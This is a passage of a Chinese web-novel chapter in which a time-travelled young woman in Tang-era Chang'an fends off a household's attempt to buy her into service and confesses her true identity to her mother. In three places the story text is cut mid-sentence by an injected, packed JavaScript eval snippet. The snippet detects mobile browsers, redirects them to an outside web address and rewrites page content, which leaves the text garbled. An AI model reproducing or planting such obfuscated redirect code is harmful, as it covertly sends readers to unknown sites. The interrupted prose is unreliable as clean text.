别看原主是童家最大的孩子,但被白氏教养的过于单纯,整日活在自己的世界里。她的回忆中最多的是阿娘教导的那些礼教规范,其次便是一些零碎的生活的片段,这些里面深挖或许有东西,但现在她缺的是时间。 但童白并没有因此而心灰意冷或者放弃。 小时候奶奶教她,遇到问题的时候,一定要先想办法解决问题,而不是陷于‘我怎么这么倒霉’‘算了,不管怎么做我都不可能解决’的消极想法中。 谢家的宅邸并不大,从小厨房走到偏院也就片刻功夫。 童白跨过门槛进入到门厅时,就见谢夫人正端坐在主位上喝茶,她右手边站着一名嬷嬷,身后站着两名丫鬟,下首坐着一位身穿淡黄刺绣小袄的小娘子,正是昨日一同在小厨房做吃食的谢娉婷——吴氏之女。 打量只是一瞬,童白下意识垂头,也就这么一瞬的时间,谢嬷嬷和她已然走到了院子中间, “老奴向夫人请安,向小娘子请安。”谢嬷嬷屈膝弓腰福身,童白跟在谢嬷嬷身后屈膝行礼,心下暗自舒了一口气。 她适才想过,若是跪着请安,她要不要做?不做,怕暴露,做了又心里憋屈。 “谢嬷嬷,你跟小娘子说了吗?”谢夫人出身于距离长安城三百里的吴家庄,嫁来谢家十五年,持家十年。原本买个小丫鬟的事情无需她出马,但自家女儿即将出嫁,她不愿放过一次言传身教的机会。 “禀夫人,说了。”谢嬷嬷侧身,将身后的童白显露出来。 “童家小娘子,我们谢家对下人惯来宽厚,我家女娘嫁去的工部员外郎家也是讲究的官宦之家,你到时候作为陪房也是常在小厨房待着,也无需过多担心。”吴氏轻声细语道。 童白垂着头,额前的发帘遮住了眉眼,也挡住了别人打量的视线。 谢家小娘子谢娉婷朝上首位置的阿娘看了一眼,阿娘说她这趟是来观摩学习的,她需好生记下她们之间的对话。 吴氏继续轻声道:“童家小娘子,你放心,这次咱们签订的契书是活契,期限为三年,按照你今年十五来算,出府的时候也才十八岁,虽说不算早,但那个年纪出来并不会耽误你的婚期,反而还能攒下一大笔嫁妆银子。” 现如今的嫁女厚嫁之风尚未兴起,但若女方嫁妆重一些却更能得到夫家的重视。 “至于你的家人,”吴氏的手在衣袖中握紧握,朝童白看过去,就连嘴角的神情都恰如其分,“你每月的例银可以补贴家用,谢家也可每月送米粮,或者给二郎找个学徒机会。” 没想到谢家这么舍得下本。 童白闻言抬起眼眸只匆匆瞧了吴氏一眼,又忙将眼眸垂下去。 那双眼睛,看似淡然,但她在对方眼中看出了势在必得。 在后世她见过不少这样眼神的人,而她作为被看中还要签下卖身契书的人来说,无论对方表现的如何友善,她内心都无法接受。 但她现在又能做什么呢? 此时,所有人都没有说话,吴氏和谢聘婷看向童白,谢嬷嬷和胡嬷嬷也看向童白,她们都等着童白的反应。哪知,童白却只是默默地垂着头,既没答应也没拒绝。 有时候过于安静便是尴尬。 谢聘婷眼中闪过一丝不悦。 虽说谢家在这长安城算不上什么人物,但这童家小娘子一年前只是个奴婢,没想到如此不知进退。 正准备说些什么,吴氏在她之前开口道:“童小娘子可是有何顾虑?不若说出来听一听。” 童白当然有顾虑了,大大的顾虑! 作为在红旗下长大的新一辈年轻人,谁愿意做奴婢! “奴阿爹曾是延寿坊崔家部曲,奴全家都是崔府的奴仆,阿爹去年以战功换得脱籍。这自卖自身之事,奴家实在不敢擅自做主。”童白说的时候还不确定这话说出来是否合适,但越说越觉得是这么个道理。 便宜爹用军功换来脱籍的机会,尸骨未寒,自家女儿却又要成为奴婢,虽说是因为生活困苦所导致,但现在不是还未到山穷水尽之时,特别是便宜爹是否身死也尚未得到官方消息时,她又怎么可能愿意卖身为奴呢。 她这话听在吴氏母女耳中,有了别的理解:哪怕童家已脱籍,延寿坊崔家却也是旧主。 可在她们看来两件事并不冲突,若不是知道有这么一段情况,他们家也不会将原本想要定的死契改为三年活契。 当然,三年之后会怎样,到时候再看。 吴氏抿了抿唇,笑道:“我们自是明白小娘子的顾虑,契书只定三年,并不算是卖身为奴。” 自家女儿婚事匆忙,她们想要找曾经在权贵家做过的厨娘,但这一类的犯了事的她们看不上,没犯事的,各大牙行要有,早就被消息灵通的买走了,她们也抢不到。 这童家小娘子此刻正好出现,懂厨艺,又曾是权贵府上的家生子,从小也是被大户调教过的,虽然年岁不大,作为陪房却正正合适。 童白可不是单纯的原主,作为弱势群体的求职者,签订了劳动合同都有可能被公司拖欠工资或者遭遇不公平的待遇,何况是法治不健全的这里呢。 她可不愿意用自己的未来,赌谢家有超时代的契约精神。 没想到自己报出了崔家,这边还是如此锲而不舍,她这会儿也觉得有点难搞。 原本她是想着用拖字诀,但看谢家的态度,应是无用。 又想过或许偏激一点,真要逼她去做奴婢,她索性就自我了结。 反正白氏对她已然起了疑心,而她其实对于穿来这里,也不是那么满意。 可是她答应过奶奶,无论怎样,自己都会好好的活下去。 “谢夫人看重,奴……做不了主。”年方十五岁的童小娘子哪里经历过这些,她自然是没有办法做出决定的。 吴氏看了童白许久,脸上露出和蔼的笑容,“嗯,这倒也不是什么大事,既然小娘子做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042864|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了主,那就让胡嬷嬷和谢嬷嬷去一趟崇贤坊,听一听你阿娘的决定。” 她是母亲,这童小娘子的娘亲也是母亲,自己尚且会为了其他的子女让娉婷牺牲,何况是这童小娘子的母亲呢? 听说他们家都快揭不开锅了,这童小娘子下面还有两个儿郎呢。 谢娉婷看向阿娘,她没想到阿娘这般好说话,明日就要出嫁了,现在还没确定这小厨房里的陪房,她心里慌的很,微抬下巴插话道:“童小娘子是对我们开出的条件有何不满吗?”她觉得这童白有些不识好歹。 童白闻言,头垂的更低了,她当然不满,她不愿做被买卖的奴婢,但她能说出来吗? 不能。 “这样,”吴氏沉吟片刻,吩咐道:“胡嬷嬷,谢嬷嬷,你们送童小娘子现在便回去,将我们谢家的想法跟她阿娘说清楚。我们谢家惯来良善,做不出那逼人为奴之事,白纸黑字三年契约,三年后,童家二郎也近十岁,那会儿童小娘子回到家,也正好可以安心备嫁,我们谢家也会送上一份添妆。” 这话听着好听,但童白总觉得不是那么回事。 问白氏的主意?她都不能确定自己在谢家露出厨艺是不是有白氏在背后推力,她敢去问吗? 但是,事情并不会因为她不乐意而改变。 别说在这里了,就在法律完善和健全的后世,父母也能帮忙未成年子女代理进行一些民事行为,比如签订合同之类。 “是,夫人。”胡嬷嬷和谢嬷嬷应声道。 “童家小娘子,请,老奴这就送你回家。”胡嬷嬷也就是那慈眉善目的嬷嬷朝童白道。 “哦,慢点,差点忘记了,你们把那赏银给了小娘子。”吴氏漫不经心道:“这金豆和银裸子是我赏的,另外的素银簪子是家里老夫人赏的。” 胡嬷嬷拿出个绣着吉祥纹的绸制小袋子,倒出金豆、银裸子和梅花流苏银簪,在童白眼前一晃,“童小娘子只要好生在小厨房当差,日后这赏便少不了。”说着,又将东西收入小袋,递给童白。 童白双手接过小袋,虽心中惶惶不安,却还是朝吴氏行了个礼,随两位嬷嬷离开这里。 等到童白她们走远后,吴氏屏退房内的其他伺候的人,板着脸对自家女儿道:“娉婷,你忘记了阿娘之前怎么跟你说的了?” 谢娉婷听到这话,慌忙站起身来,脸色略白道:“阿娘的教诲娉婷不敢忘。” “那适才你为何那般沉不住气?”吴氏言语间的严厉跟之前对童白的语气完全不一样。 有好些家有小娘子的盯上了谭员外郎继室,但只有谢家愿意花一般家财攀附上。听说谭员外郎爱美食更甚于美色,所以她才如此着急寻厨娘给娉婷做陪嫁,以求在“食”上讨好谭家。 不敢明着找寻厨娘,她便花绢布托人在老夫人常去的慧日寺和她常去崇福寺都留了话,也给家里常用的牙行递了话,这段时日精力也全放在了寻找厨娘和准备嫁妆的事情上,疏忽了对女儿的管教。 “阿娘,女儿…”谢娉婷低下头,“…知道错了。” 吴氏见她态度还算不错,面色一缓,“童家那边的事你无需多操心了,现在去小厨房再练一练中馈,后日的家宴,你必须要有拿出手的菜式,谢家的荣辱全系在你身上!” 谢娉婷抬起头,目光坚定地看向吴氏,“阿娘,我知道的。”心下不免怨怪了童小娘子几分,若她能配合点,自己何至于被阿娘责备。 5. 我不是童家小娘子 去往侧门的路上,谢嬷嬷和胡嬷嬷俩一唱一和的没少从童白嘴里套话。 童白心里想着事,只简单应答着,并不多言。 她这般表现没让谢嬷嬷她们觉得有何不对。从打听得来的消息和这两日童小娘子在府上的表现不难看出她本就是个不多言的性格。 “小娘子,咱们夫人是宽厚人,苛待下人这种事在我们谢家却是没有的。”谢嬷嬷见童白反应不大,拉上一旁的胡嬷嬷,“胡姐姐,你可还记得永平坊的何家,那家的当家夫人治家……” 谢嬷嬷和胡嬷嬷不愧是谢夫人身边得用的嬷嬷,哪怕童白不搭腔,她们也一唱一和的说了一路。利诱吓唬的话语从她们嘴里说出来成了童白莫大的幸运。 但比起这些,童白更为忐忑的是不知白氏会如何选择。 谢家的马车不大,胜在灵活方便,不仅能走坊间的大道,也能穿行坊内小道。从谢府去往坊西门这一路行人不少,马车在人流中缓慢穿行,车厢里的三人完全不知,一名身形魁梧的大汉一路跟在马车侧后方,将她们的对话听在了耳中。 待得马车出了长兴坊,那名壮汉逆着人流回到了谢府门前,正好遇到了从谢府出来的一辆青皮小车,马车路过他时放慢了速度,也不知道他怎么弄得,下一瞬便坐上了马车辕,跟另外一边的车夫各占一半。 “主子……”壮硕汉子靠在车门处,将适才听来的消息汇报给了主子。 等到马车从坊北门出去时,那壮硕汉子已然不见,车辕处只有车夫的身影。 进入崇贤坊后,巷子的道路狭窄不少,路过卢婶家,往东北角再行驶了二十来米便到了童家院门外。 跟谢家的青砖瓦房不一样,这童家的院子全是土坯造的,看着就觉得脏兮兮的,外墙的土砖因被雨水长期冲刷还有些坑坑洼洼。 不过,不管如何,墙面约莫有两米的高度,可以将外面的视线全部遮挡住。 马车停在院门外,童白率先下了马车,敲响了家门。 正在院子里坐着的童白氏早在马车进到巷子里时便听到了外面的动静,这条巷子里的住户可没谁家有马车。 原本在院子里玩耍的童二郎和童三娘都不由往院门处看去。 因着白氏并未起身。童二郎转脸看向白氏,疑惑道:“阿娘?”他不明白为何阿娘只呆呆地看向院门,不起身去开门。 白氏朝二郎挤出个笑容,站起了身去到了院门处,拿开门闩,第一眼便看到了门口的童白,却很快移开。白日她又从二郎和三娘嘴里问来了不少童白身上之事,她现下对‘她’十分起疑,根本不愿多看一眼。 不走心的说了句,“你回来了,”视线落在门口的马车以及马车外的两位嬷嬷身上,“不知两位是?”哪怕心里已猜出她们是谁,但该问的话语还是要问。 “老身是长兴坊谢家的嬷嬷,娘子可以称呼老身为谢嬷嬷。” “老身是长兴坊谢家的嬷嬷,娘子可以称呼老身为胡嬷嬷。” “两位嬷嬷进来说话。”白氏打开院门,让出位置。 童白见到白氏的第一瞬就知道不好,也不知道白日里发生了什么,白氏身上对她的抗拒比起前几日都大,完了,这次怕是不能轻易躲过了。 不过,此时的童白并没有生气,也没有愤怒,脑中快速思索着破局之法。 谢嬷嬷和胡嬷嬷进到院内,瞧见童家这空空荡荡的院子,又瞧见白氏和童二郎、童三娘的穿着,脸上虽然不显,心中难免带上了几分轻视。 童家三间房都狭小破败,并无像样的待客之处,白氏索性没领着她们进房间。 但这样的举动引得两位嬷嬷心中又多了几分不悦。 这明晃晃的就是怠慢呀! 若是半年前,她们见到白氏,或许要给上几分面子,毕竟延寿坊崔家的门第比起谢家来说高上不少,但现在童家算什么?这白氏又算什么? 想到此,两人的腰杆子挺得更直了些。 童白站在院门边,心不在焉地朝马车夫点点头,便将院门关上。虽然在院子里说话外面也能听见,但是院门关和不关还是不一样的。 不得不说,她现在有些心灰意冷。 穿来后,她尽力融入原主的家庭,只要自己有一口吃的,就没短了白氏和家里几个小孩儿的,却没想到最终还是到了要被卖身的地步。 是了,白氏舍不得卖的是她那亲生的女儿。 童白望向院中正与嬷嬷周旋的白氏,那刻意回避自己的侧影,让她心头涌上一股冰冷的涩意,又混杂着不甘的怒火。 凭什么?就凭她占了这具躯壳,便要替人承受这被买卖的屈辱? 就在她心中的情绪越积越深时,她感觉到衣袖被扯动和腿被抱住。垂下头,正好与童二郎盛满关心的眼眸对了个正着,童白下意识的移开,正好瞧见依靠在自己腿上、透过衣裙缝隙往两位嬷嬷那边看的童三娘的头顶。 童白心中一颤,突然想到了个可以让白氏跟自己统一战线的办法。 白氏问:“不知两位嬷嬷前来所为何事?” 胡嬷嬷和谢嬷嬷对视一眼,谢嬷嬷扬起嘴角笑道:“老身是给娘子家送喜事来了,你家小娘子这两日在谢家做工很好,我们家夫人想要长期聘用小娘子。” 俗话说,伸手不打笑脸人。哪怕再看不上这童家,谢嬷嬷还是笑着说话。 她以为,白氏或许不会感恩戴德,但会欣喜,却见白氏并未接话,只见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042865|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其神色怔愣。 白氏心下微微抽痛,喉间泛起苦意,喜事,她家还能有什么喜事? 她忽然想起前几日‘大女儿’做的粟米粥,绵密得能拉出米油。而她却是从未教过‘大女儿’做这些。 若‘她’还是自家女儿,她哪怕拼了这条命也要护住她,但‘她’不是自己的女儿。 家里已然断炊,若这‘妖物’真去谢家做工,是不是能让二郎、三娘和四郎活下去呢? 她指尖掐进掌心,紧握住的手泄露出她的心绪并不平静。 白氏心下戚戚,心如死灰的打算点头应下。就在此时,她听到那人说。 “还请嬷嬷等一会儿,奴跟阿娘要先商议一番。”童白重音放在了‘阿娘’两个字上。 谢嬷嬷视线在白氏和童白身上来回,沉默着未言语。 胡嬷嬷答应道:“自是可以,小娘子们请自便。”她能看出童小娘子并不乐意,但不乐意的多了,进到府中,只要主家对她们好一些,她自然便会乐意了。 再次隐晦地打量了一遍童家的院子,谁会跟肚子作对呢? 她以为,这种曾经在权贵人家做过仆从的人,对于卖身这事,接受度会更高一些。 童白和白氏进去房间之前跟二郎道:“二郎,你带着三娘在院子里,等我们出来。” 二郎抓住童白的衣袖,“大姐!”他虽然年岁还小,却是听清楚了那嬷嬷的话语,大姐这是要去别人府上为奴吗? 可是阿爹去年在搬来这边房子时笑着说过,他们童家的人终于不是仆从了。 他虽听不太懂,但他感受到了阿爹的喜悦,他还记得当初搬来这边时,阿爹规划着院子里该怎么布置,他们的房间该如何收拾…… 童白在二郎身上感受到他的不舍,这才是正常家人该有的情绪吧。 摸了摸二郎的头,“乖,别担心。”她跨腿往正屋走,却又感觉到大腿被抱住了,低头一看,却是三娘懵懂依恋的眼神。 童白的心尖像被针扎了一下。要知道她已经做好了摊牌的准备。 她知道这招是险棋,白氏若真恨极了她,这摊牌便是给了白氏喊打喊杀的理由。 可若不说,被卖入谢家为奴……她深吸一口气,指尖冰凉。 赌了!赌白氏对这几个孩子的母爱,能压过对‘妖物’的恨。 童白轻声朝三娘道:“三娘跟二哥在外面等一等,阿姊和阿娘很快就会出来。” 二郎过来拉住三娘的手,童白转身带着一股子决绝进了房间。 房间里,四郎躺在床上睡的正酣。 童白关上房门,对白氏一字一句轻声道:“我不是童小娘子,她早已在我进入这具身躯前死去!” 6. 妖物,还我女儿命来! 主屋里光线昏暗,空气中混杂着淡淡的霉味。 这味道童白熟悉,她小时候便是跟着奶奶在农村长大,家里穷,没有空调,取暖除了靠正气外,便是烧木柴,木炭只有在爸妈回老家过年时才会用。 后来等她手上有了钱,不顾奶奶反对给老家安上了空调,但奶奶朴素惯了,依然舍不得用。 “你……”白氏走到床前,腿部抵在床沿,脸上全是晦暗不明的神色,她是怎么也没料到,这妖物竟然主动点明身份。目光从躺在床上酣睡的四郎身上扫过,白氏看向对方的目光中带上了几分审视。 “我不是她,你若将我卖进谢家,对童家上下来说不是助力反而是埋下祸端,”既然已表明身份,童白更没有藏着掖着真实想法,“但若留我在童家,只要我有一口饭吃,二郎他们自是也有。” 假大空的话语她说不来,毕竟现在童家最当务之急要解决的,是温饱。 午后的斜阳透过窗户格落在童白的身上,白氏仔细地看着对面的占据着自家大女儿身子的人,心中各种思绪纷飞,最后落在了那一句‘她的女儿已经身死’上。 “难怪你会做膳食、难怪你前几日会去找巷口的卢娘子找短工的活计,难怪你变得完全不一样了……”白氏喃喃自语,脑中闪现了这几日‘她’所作出的一切跟自家女儿不一样的举动。 可,“你在这,我女儿去哪儿了呢?”死这个字对于她来说实在是太难说出口,白氏白氏身躯一颤,膝盖一软,瘫坐在床沿。心抽抽地生疼着。 缠绵病榻许久的她,老天都没收了命去,自家的女儿年岁又不大,更是没有病痛,为何这么早就去了? 白氏用淬了毒的眼神紧锁童白:“妖物,还我女儿命来!”肯定是对面这妖物做的手脚! 也不知道从哪儿来的力气,白氏欺身上前,手指掐进童白手腕,“你若非我女儿,她……是不是被你害了?” 手腕上被指头紧扣住的触感让童白很不舒服,直视白氏的眼,一根一根掰开白氏的手指头,咬牙低声道:“不管你信与不信,我并非抢占也非强占她的身子,若是可以选择,我宁可待在自己的身子里。”不是被抓疼了,而是被这劳什子穿越弄得烦了! 童白冷笑,“我本身所在的地方,并不会限制女子外出做事,我靠着制作美食的手艺也过活的很好,所以我为何要加害于你家女儿?” 她吃饱了闲着没事干吗? “你是妖物!”白氏想着那些话本子和茶楼里说书人嘴中的故事,指着童白愤然道:“若不是你强抢了我家女儿的身子,她为何会……” 谁喜欢被人指着骂是妖物,本来这穿越也不是她想要的。 童白怼道:“你女儿被人骗得用家里的全部粟米换了半袋子的霉稻谷,喝了霉稻谷舂的米煮的粥,便那般去了,”似乎怕她不信,继续说:“这事并不是什么难查之事,那余下的霉稻谷现在还在西屋里,你若不信可以煮了……”停顿了一下,“喂给鸡鸭试试是不是有毒,而且‘她’喝粥那一日,二郎几个可是亲眼所见,你也可以问问他们。” 其实她也不确定原主是死了还是遇到了什么的别的情况,但穿越来时那一碗霉米粥给她带来的震撼过大,以至于她下意识地就认为原主肯定是死了。 穿越对自己来说,并不是什么求来的福分,而是被迫的接受。 “我来到这里后,自认为在对待你们时并未有任何的亏待。甚至于,我来了后,家里反倒是能吃上一顿饱饭了。” 白氏张开嘴,想要反驳,却说不出话来。她现在心很乱,一方面她本能的厌恶憎恨占据了自家女儿身子的妖物,另一方面,她又知道‘她’没骗自己,‘她’来了后,的确在尽力照顾着这个家。 童白透过窗格往院子里看,二郎正小大人一般的在跟两位嬷嬷说话,三娘站在他身旁,就跟刚才靠在自己身上一般靠在二郎身上,眼中的神情带上了几分懵懂和软糯,不知道为什么,一看到三娘就让她想起小时候的自己。 两位嬷嬷不住地往主屋这边看过来,童白知道自己不能让情绪左右思绪,得说服白氏先一致对外再说,“在我原本的时代,卖身为奴是律法所不容,我知道在这里爹娘可以卖儿女,但你若真要这般,我只能说,我会……” 话语还没说完,便被白氏破碎的声音打断,“你对我们好难道不是有所图?”白氏闭上眼,眼泪湿润了眼睫。 从小的生存环境教会了她,千万不要相信没有缘由的好,因为下一瞬,你可能就会遭遇到没有缘由的坏,人心如此,何况妖物? 童白不愿自证,指着院子里道:“过去且不论,只说你确定卖了我便能解决童家目前的困境?还是说留下我,我们一同面对未知的困难。” 白氏睁开双眼,泪水从她惨白的脸颊滑落,滴在麻衣之上,洇出一滩水渍,“现如今,她们都上了门,”她脑子很乱,纠结,万分纠结,“谢家并不是我们能得罪的。” 当初‘她’回来告诉自己托卢婶子的关系找到了去长兴坊谢家做短工的机会时,她鬼使神差地提了一嘴,让她过去后好好表现,或许会有赏钱。 没想到谢家竟然派了嬷嬷上门来。 童白从白氏的话语中听到动摇,侧过脸看向白氏。 白氏也看向‘她’,看着熟悉的陌生人,眼睫微颤,泪水蓄满眼眶,又缓缓滑落,流入嘴中的泪水微微发涩。 这样的白氏,让童白的心微微发痛,童白不确定这是不是原主残留下的情绪。深吸一口气,稳了稳心神。 童白:“若没有你说的让我好好展现庖厨之技,今日便不会有这么一出。”好在她做事惯来喜欢留退路,昨日指点之时也只是粗浅的巧思,今日就不用说了,拿起菜刀时的生疏,便是她刻意为之。 事实上,也有效果。不论谢家的活契是否有猫腻,至少不是死契。 白氏的嘴张了张,又闭上,她想说在今日之前她并未想过要加害于‘她’。但这话说不出口,因为就在刚才,她的确生了那心思。 这妖物已然知道自己的用心,留在家中只会是祸端。 白氏背在身后的手攥紧了四郎身上的麻被,这粗糙的手感让她手心发痒,却也提醒着她,这一切都是真实存在的。 童白目光坚定,“我只能说,若是你将我卖了,日后,我童白绝不是以德报怨的性子。”说着,眼神刻意在白氏身后的四郎身上停留了一瞬。 白氏怔怔地望向对面的人,内心摇摆不定。恍惚中,发现对面之人坚定的眼神就跟孩他爹一模一样。 他说:“霜娘,相信我,定会让咱家去了奴籍。” 她信了他,他也做到了。 而他现在生死不知,白氏垂下头,用手指拭去脸上的泪水,是咯,家里除了大女儿还有几个小的,这妖物的话语并不是说说而已。 白氏挣扎良久,轻声道:“……你说……该如何?” 童白心中舒了一口气,上前几步凑到白氏耳边,白氏克制住想要避开的本能,浑身打了个哆嗦。对方清凌凌的目光看向她,白氏挤出笑容,颤声欲解释, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042866|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我……” 童白摆手表示不在意,“无妨,你一会儿就这样说……” “吱呀……”一声,主屋的房门从里打开,这动静引得站在院子里的几人都看过来,二郎和三娘往这边跑,直到站定在白氏面前,抬头喊:“阿娘!” 三娘却是找寻童白的身影,等到童白跨出主屋,她抓着童白的裙摆,抬头看向童白,全然信任的眼神看得童白心儿发软、发酸。 白氏牵住二郎的手,缓缓走到谢嬷嬷她们面前,屈膝行礼道:“多谢夫人对我家小娘子的看重,但童家这情况,若是她去了府上,家里这日子怕是真真撑不下去了。” 谢嬷嬷笑着的脸,因她的话语陡然一沉,微抬下巴,语带讥诮:“白娘子是嫌弃我家夫人出的价码低了?”她根本不信白氏嘴里的推拒之词,认定是她坐地起价的伎俩。 这些眼皮子浅的贫户,常如此。 胡嬷嬷面上挂着笑,却未达眼底,目光扫过童家家徒四壁的院子,啧啧两声:“哟!白娘子这话说的好没道理,若不是你家小娘子来府上做工两日,你家怕是已然断炊了把?” 这话如同刀子一般深扎白氏的心窝,她脸色又白了几分。 是,这也是她不得不同意‘她’的提议的原因。 “是,得亏夫人良善,”童白适时上前一步,苦笑接话,“嬷嬷们来这一趟便也看到,阿娘一直病着,下面的弟妹年幼,奴若不在家,莫说打水劈柴这些力气活,便是照看幼弟幼妹、煎汤熬药也缺人手……”她拉住身旁二郎的胳膊,将他的衣袖往上捋起,“嬷嬷们看,奴这二弟,只因每日需去坊西井边提水,这细瘦胳膊便被麻绳勒成……若再无人分担,怕是……”话到最后带上了几分哽咽,根本无法继续言语。 二郎被众人目光盯着,羞窘得满脸通红,慌忙将脸藏到大姐身后。 白氏握住二郎的手不由发颤,是了,她这一场病的确拖累了整个家,若不是因她病了,何需大女儿外出采买米粮呢? 又何至于…… 白氏痛苦的闭上双眼,眼泪扑簌簌往下落。 “奴感念夫人大恩,奈何家中实在是……” “小娘子看不上我们谢家就直说,何必在这扯这些由头,”谢嬷嬷冷哼一声,不耐烦地打断话语,“小娘子已然十五岁,你家二郎才六岁,难不成你要等你家二郎成年后再婚嫁?要老身说,我家夫人体恤小娘子才定了三年的契期,看你也是个灵泛的,没想到欺我家夫人!” 童白心中一凛,是了,她竟忘了这时代的婚嫁之期! 胡嬷嬷忙打圆场道,“童家小娘子可是还有旁的顾虑?何不听听我们夫人预备的诚意再作打算?保管……” 就在白氏深吸一口气,准备按童白教的强硬回绝之时。 “笃!笃!笃!”院门被不轻不重地扣响了三下。 一个中气十足、铿锵有力的男声透过门板传来:“敢问,此处可是童校尉府上?” 这声音突兀地打破了院内的剑拔弩张。白氏和童白猛地对视一眼,在对方眼中看到了惊疑。 白氏脸上血色褪尽,手指揪紧了衣角。童白心头一跳,脑中闪过许多念头:是官府?是别人?还是便宜阿爹的噩耗? 白氏强压下喉头的哽咽,边应声边快步朝院门走去:“是……是这儿……”声音发涩。路过两位同样面露诧异的嬷嬷时,她勉强挤出个比哭还难看的客套笑容。 手搭在冰冷粗糙的门闩上,白氏感觉心都要跳出嗓子眼。她深吸一口气,猛地拉开了门。 7. 老少配 门外站着一名身姿挺拔、身着暗褐色皮甲的军士,风尘仆仆,领口别着的‘崔’字铜徽在阴沉的天色下依旧醒目。他目光如炬,快速扫过院内神色各异的众人,最后稳稳落在门后的白氏身上。 “白娘子,”军士抱拳,行了个干脆利落的军礼,“某乃延寿坊崔将军府上亲兵,张勇。将军体恤童校尉随军在外,家眷在京不易,特命某将此番饷银先行送至府上。”说着,他从腰间解下一个半旧的靛蓝色厚布锦袋,袋口紧系着皮绳,沉甸甸的份量将袋身上绣的‘崔’字撑得有些变形。他双手平举,恭敬递过。 不是噩耗!是饷银!延寿坊崔府! 白氏紧绷的肩膀骤然一松,长长地、无声地舒出一口气,那口一直堵在胸口的浊气随之散去了。她伸出微微颤抖的双手,接过那沉甸甸的锦袋,屈膝,深深一福:“多…多谢军爷!劳烦军爷奔波,也……也代妾身叩谢将军和府上恩典!”声音带着轻颤和哽咽。 军士张勇颔首,目光再次扫过院内,尤其在谢、胡两位嬷嬷身上略作停顿,那锐利的眼神让两人下意识地垂下了头。 他收回目光,对白氏粗声道:“童校尉忠勇,乃将军看重之人。白娘子在京若遇难处,不必拘礼,可径直去延寿坊崔府门房处寻赵管事,报童校尉的名号即可。”他一字一句,清晰有力,确保院内每一个人都听得真真切切。 白氏连忙应下:“是,是,妾身记下了!多谢军爷提点!” 张勇不再多言,抱拳一礼,转身大步流星走向巷口拴着的马匹,利落地翻身上马。马蹄声“嘚嘚”,很快消失在幽深的坊巷之中。 白氏紧攥着锦袋,仿佛攥住了主心骨。缓缓转身,目光复杂地掠过神色惊疑不定的谢、胡二位嬷嬷,最终落在院门边的童白身上。 那眼神里,有残留的惊悸,有骤然的安心,有对崔家权势的敬畏,也有一丝极其复杂的、难以言喻的微光。 胡嬷嬷适时笑道:“适才之事,白娘子可是想好了?”心里却知道,夫人交代之事,怕是无法完成了。 一来是童家收到了饷银,无需卖身;二来这饷银是崔家之人提前送来的,便是表明了这童家哪怕脱了籍,却也是延寿坊崔家看重之人。 童小娘子虽有庖厨之技,却并不值得谢家与崔家对上。 谢嬷嬷目光扫过白氏手中印有崔府标记的锦袋,又瞥了眼紧闭的院门,心中瞬间权衡利弊。得罪崔府亲信绝非明智之举,况且夫人要的不过是个手艺好的陪房,便笑着接过胡嬷嬷的话语道:“童小娘子适才提及家中难处,老身定会如实转达给我家夫人。天色将暗,我们便不在此多加打扰。” 童白垂下眼帘,朝两位嬷嬷福身行了礼,心下明白,两位嬷嬷已然做出选择。 眼见着谢家马车驶出巷子,白氏松了口气,咳喘着往院里走。 童白随着白氏往主屋走,轻声道:“明日从谢家下工回来,我打算带二郎去西市买粮。卢婶子借的粟米,到时多买些还上。”她顿了顿,既然已说开,索性将计划和盘托出,“…我还想试着在家做些小吃食,在坊内售卖看看。” 这几日她留心观察过,坊内虽无铺面,但晨昏时分总有些妇人挎篮叫卖些胡饼、蒸饼,武侯也多是睁只眼闭只眼。 白氏听到她这话语,攥紧了袖中的荷包,那沉甸甸的触感是丈夫用命换来的活路。她看着‘她’与二郎低声商议的背影,一股深重的无力感席卷而来。 留下这妖物,至少,这一锅锅热饭食,是真的暖了孩子们的肚肠,也吊住了她这破败的身子。 罢了,走一步看一步,活命要紧。 童白得到白氏的首肯后便去了灶房,二郎和三娘跟着她一同去了灶房,二郎犹豫许久才道:“阿姊明日还要去这谢家吗?”别看他年岁不大,却也听明白了那两位嬷嬷的来意。 “去呀,三日工才去了两日。”童白低着头估算着家里余下的木柴还能烧多久,一心二用回道。 突然,二郎松开牵着三娘的手,转身跑出灶屋,三娘被二哥这举动弄得一愣,下一瞬瘪嘴哭起来。 适才发生之事,她太小听不明白,却是能感受到家里人的情绪,这会儿正是敏感的时候,二郎的举动让她莫名的难受,眼泪吧嗒吧嗒落下。 童白抬起眼帘,只瞧见二郎急匆匆的背影和三娘瘪嘴的一幕,她忙蹲下身搂住三娘,安抚道:“三娘别怕,二郎哥哥这是有事去了,不是不要三娘了。” 也不知道是原主遗留的思绪作祟还是她代入了身份,三娘总能轻易地挑起她内心最柔软的情感。 